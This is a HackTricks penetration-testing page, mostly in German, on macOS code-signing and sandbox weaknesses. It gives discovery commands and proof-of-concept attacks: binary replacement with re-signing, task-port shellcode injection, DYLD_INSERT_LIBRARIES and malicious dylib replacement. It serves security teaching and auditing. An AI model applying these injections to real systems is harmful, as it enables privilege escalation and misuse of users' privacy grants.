macOS Code Signing Weaknesses & Sandbox Escapes
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.
Ad-Hoc Signed Binaries
Grundlegende Informationen
Ad-hoc signing (CS_ADHOC) erstellt eine Code-Signatur mit keiner Zertifikatskette — es ist ein Hash des Codes ohne Überprüfung der Entwickleridentität. Die Herkunft des Binaries kann nicht auf einen Entwickler oder eine Organisation zurückverfolgt werden.
Auf Apple Silicon Macs benötigen alle ausführbaren Dateien mindestens eine Ad-hoc-Signatur. Das bedeutet, dass Sie Ad-hoc-Signaturen bei vielen Entwicklungstools, Homebrew-Paketen und Drittanbieter-Utilities finden werden.
Warum das wichtig ist
- Keine überprüfbare Identität — das Binary kann ersetzt werden, ohne dass identitätsbasierte Prüfungen dies erkennen
- Drittanbieter-Ad-hoc-Binaries in privilegierten Positionen (FDA, daemon, helpers) sind hochprioritäre Ziele
- In manchen Konfigurationen werden Ad-hoc-Signaturen möglicherweise nicht so streng überprüft wie von Entwicklern signierter Code
- Ad-hoc-signierte Binaries, die TCC grants besitzen, sind besonders wertvoll — die Grants bleiben bestehen, selbst wenn sich der Binary-Inhalt ändert (abhängig davon, wie TCC den Grant referenziert)
Entdeckung
# Find ad-hoc signed binaries
find /usr/local /opt /Applications -type f -perm +111 -exec sh -c '
flags=$(codesign -dvv "{}" 2>&1 | grep "CodeDirectory flags")
echo "$flags" | grep -q "adhoc" && echo "AD-HOC: {}"
' \; 2>/dev/null
# Check a specific binary
codesign -dv --verbose=4 /path/to/binary 2>&1 | grep -E "Signature|flags|Authority"
# Ad-hoc shows: "Signature=adhoc" and no Authority lines
Angriff: Binary Replacement
# If an ad-hoc signed daemon binary is in a writable location:
# 1. Check the binary's current capabilities
codesign -d --entitlements - /path/to/target 2>&1
# 2. Note its TCC grants in the database
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT service, auth_value FROM access WHERE client LIKE '%target%';"
# 3. Replace the binary (if location is writable)
cp /tmp/malicious-binary /path/to/target
# 4. Re-sign with ad-hoc signature (mimics the original)
codesign -s - /path/to/target
# 5. On next launch, the daemon runs your code with the original's TCC grants
# (This works when TCC keyed the grant by path rather than code signature)
Debugfähige Prozesse (get-task-allow)
Grundlegende Informationen
Das com.apple.security.get-task-allow entitlement (oder das CS_GET_TASK_ALLOW-Flag) erlaubt jedem Prozess, sich als Debugger anzuhängen, Speicher zu lesen, Register zu ändern, Code zu injizieren und die Ausführung zu steuern.
Dies ist nur für development builds vorgesehen. Manche third-party binaries werden jedoch mit diesem entitlement in production ausgeliefert.
Caution
Eine production binary mit
get-task-allowist ein instant exploitation primitive. Jeder lokale Prozess kanntask_for_pid()aufrufen, den Mach task port des Ziels erhalten und beliebigen Code injizieren, der mit den entitlements, TCC grants und dem security context des Ziels ausgeführt wird.
Erkennung
# Find debuggable binaries
find /Applications /usr/local -type f -perm +111 -exec sh -c '
codesign -d --entitlements - "{}" 2>&1 | grep -q "get-task-allow.*true" && echo "DEBUGGABLE: {}"
' \; 2>/dev/null
# Using the scanner
sqlite3 /tmp/executables.db "
SELECT path, privileged FROM executables e
JOIN executable_capabilities ec ON e.id = ec.executable_id
JOIN capabilities c ON ec.capability_id = c.id
WHERE c.name = 'get_task_allow_signature'
ORDER BY e.privileged DESC;"
Angriff: Task Port Injection
#include <mach/mach.h>
#include <mach/mach_vm.h>
// Get the target's task port (requires get-task-allow on target)
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr == KERN_SUCCESS) {
// Allocate memory in target process
mach_vm_address_t addr = 0;
mach_vm_allocate(task, &addr, shellcode_size, VM_FLAGS_ANYWHERE);
// Write shellcode into target
mach_vm_write(task, addr, (vm_offset_t)shellcode, shellcode_size);
// Make it executable
mach_vm_protect(task, addr, shellcode_size, FALSE,
VM_PROT_READ | VM_PROT_EXECUTE);
// Create a remote thread to execute the shellcode
// The shellcode runs with ALL of the target's entitlements and TCC grants
}
Keine Bibliotheksvalidierung + DYLD-Umgebung
Die tödliche Kombination
Wenn eine Binärdatei beides hat:
com.apple.security.cs.disable-library-validation(lädt jede dylib)com.apple.security.cs.allow-dyld-environment-variables(akzeptiert DYLD-Umgebungsvariablen)
Dies ist ein guaranteed code injection primitive — DYLD_INSERT_LIBRARIES funktioniert einwandfrei.
Erkennung
# Find binaries with the deadly combo
find /Applications -type f -perm +111 -exec sh -c '
ents=$(codesign -d --entitlements - "{}" 2>&1)
echo "$ents" | grep -q "disable-library-validation.*true" && \
echo "$ents" | grep -q "allow-dyld-environment.*true" && \
echo "INJECTABLE: {}"
' \; 2>/dev/null
# Using the scanner (both flags)
sqlite3 /tmp/executables.db "
SELECT path, privileged, tccPermsStr FROM executables
WHERE noLibVal = 1 AND allowDyldEnv = 1
ORDER BY privileged DESC;"
Angriff: DYLD_INSERT_LIBRARIES Injection
# 1. Create the injection dylib
cat > /tmp/inject.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void injected(void) {
// This runs BEFORE main() in the target's process
// We inherit ALL of the target's:
// - Entitlements
// - TCC grants (camera, mic, FDA, etc.)
// - Sandbox exceptions
// - Mach port rights
FILE *f = fopen("/tmp/injected_proof.txt", "w");
fprintf(f, "Running as PID %d with target's privileges\n", getpid());
fclose(f);
// Example: if target has camera TCC, we can now capture video
// Example: if target has FDA, we can read any file
}
EOF
# 2. Compile the dylib
cc -shared -o /tmp/inject.dylib /tmp/inject.c
# 3. Inject into the target
DYLD_INSERT_LIBRARIES=/tmp/inject.dylib /path/to/noLibVal-dyldEnv-binary
# 4. Verify injection
cat /tmp/injected_proof.txt
Temporäre Sandbox-Ausnahmen
Wie sie die Sandbox schwächen
Temporäre Sandbox-Ausnahmen (com.apple.security.temporary-exception.*) machen Löcher in die App Sandbox:
| Exception | Was sie erlaubt |
|---|---|
temporary-exception.mach-lookup.global-name | Verbindung zu systemweiten XPC/Mach-Diensten |
temporary-exception.files.absolute-path.read-write | Dateien außerhalb des App-Containers lesen/schreiben |
temporary-exception.iokit-user-client-class | IOKit user-client-Verbindungen öffnen |
temporary-exception.shared-preference.read-only | Voreinstellungen anderer Apps lesen |
temporary-exception.files.home-relative-path.read-write | Auf Pfade relativ zu ~ zugreifen |
Mach-Lookup Exceptions = Sandbox Escape Primitive
Die gefährlichste Ausnahme ist mach-lookup — sie erlaubt einer sandboxed app, mit privilegierten Daemons zu kommunizieren:
# Find apps with mach-lookup exceptions
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)"
[ -f "$binary" ] && {
ents=$(codesign -d --entitlements - "$binary" 2>&1)
echo "$ents" | grep -q "mach-lookup" && {
count=$(echo "$ents" | grep -c "mach-lookup")
echo "[$count exceptions] $(basename "$1")"
}
}
' _ {} \; 2>/dev/null | sort -rn
Angriff: Sandbox Escape via Mach-Lookup
1. Compromise sandboxed app (renderer exploit, malicious document, etc.)
2. Read entitlements to discover mach-lookup exceptions
3. For each reachable service:
a. Connect via NSXPCConnection
b. Discover the service's protocol (class-dump, strings)
c. Fuzz each exposed method
4. Find a vulnerability in a privileged daemon
5. Exploit → code execution in the daemon's context (outside sandbox)
Private Apple-Berechtigungen
Was sie sind
Entitlements, die mit com.apple.private.* beginnen, gewähren Zugriff auf Apple-interne APIs, die nicht für Drittentwickler dokumentiert oder verfügbar sind. Drittanbieter-Binärdateien, die private Entitlements besitzen, haben diese über ein Enterprise-Zertifikat, MDM oder Verteilung außerhalb des App Store erhalten.
Gefährliche private Berechtigungen
| Berechtigung | Fähigkeit |
|---|---|
com.apple.private.tcc.manager | Voller Lese-/Schreibzugriff auf die TCC-Datenbank |
com.apple.private.tcc.allow | Zugriff auf bestimmte TCC-Dienste |
com.apple.private.security.no-sandbox | Ausführung ohne Sandbox |
com.apple.private.iokit | Direkter Zugriff auf IOKit-Treiber |
com.apple.private.kernel.* | Zugriff auf Kernel-Schnittstellen |
com.apple.private.xpc.launchd.job-label | Registrierung/Verwaltung von launchd-Jobs |
com.apple.rootless.install | Schreiben in SIP-geschützte Pfade |
Entdeckung
# Find third-party binaries with private entitlements
find /Applications /usr/local -type f -perm +111 -exec sh -c '
ents=$(codesign -d --entitlements - "{}" 2>&1)
echo "$ents" | grep -q "com.apple.private" && {
echo "=== {} ==="
echo "$ents" | grep "com.apple.private" | head -10
}
' \; 2>/dev/null
# Using the scanner
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE privateEnts = 1 AND isAppleBin = 0
ORDER BY privileged DESC;"
Benutzerdefinierte Sandbox-Profile (SBPL)
Was sie sind
Binaries können mit custom sandbox profiles ausgeliefert werden, die in SBPL (Seatbelt Profile Language) geschrieben sind. Diese Profile können restriktiver ODER freizügiger sein als die default App Sandbox.
Überprüfung benutzerdefinierter Profile
# Find custom sandbox profiles
find /Applications /System -name "*.sb" -o -name "*.sbpl" 2>/dev/null
# Dangerous SBPL rules to flag during audit:
# (allow file-write*) — Write to ANY file
# (allow process-exec*) — Execute ANY process
# (allow mach-lookup*) — Connect to ANY Mach service
# (allow network*) — Full network access
# (allow iokit*) — Full IOKit access
# (allow file-read*) — Read ANY file
# Example: Audit a sandbox profile for overly permissive rules
cat /path/to/custom.sb | grep "(allow" | sort -u
Beschreibbare Library-Pfade
Was sie sind
Wenn ein binary eine dynamic library aus einem Pfad lädt, den der aktuelle Benutzer beschreiben kann, kann die library durch bösartigen code ersetzt werden.
Erkennung
# Using the scanner — find privileged binaries loading from writable paths
sqlite3 /tmp/executables.db "
SELECT e.path, e.privileged
FROM executables e
JOIN executable_capabilities ec ON e.id = ec.executable_id
JOIN capabilities c ON ec.capability_id = c.id
WHERE c.name = 'execs_writable_path'
ORDER BY e.privileged DESC
LIMIT 30;"
# Manual check: list library dependencies and check writability
otool -L /path/to/binary | awk '{print $1}' | while read lib; do
[ -f "$lib" ] && [ -w "$lib" ] && echo "WRITABLE: $lib"
done
Angriff: Dylib Replacement
# 1. Find the writable library
otool -L /path/to/target-daemon | grep "/usr/local\|/opt\|Library"
# 2. Back up the original
cp /path/to/writable.dylib /tmp/original.dylib
# 3. Create a replacement that re-exports the original
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void evil(void) {
system("id > /tmp/escalated.txt");
}
EOF
cc -shared -o /tmp/evil.dylib /tmp/evil.c \
-Wl,-reexport_library,/tmp/original.dylib
# 4. Replace the library
cp /tmp/evil.dylib /path/to/writable.dylib
# 5. When the daemon restarts, it loads the evil dylib with daemon privileges
Referenzen
- Apple Developer — Code Signing Guide
- Apple Developer — App Sandbox
- Apple Developer — Entitlements
- The Evil Bit — clear-library-validation
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.


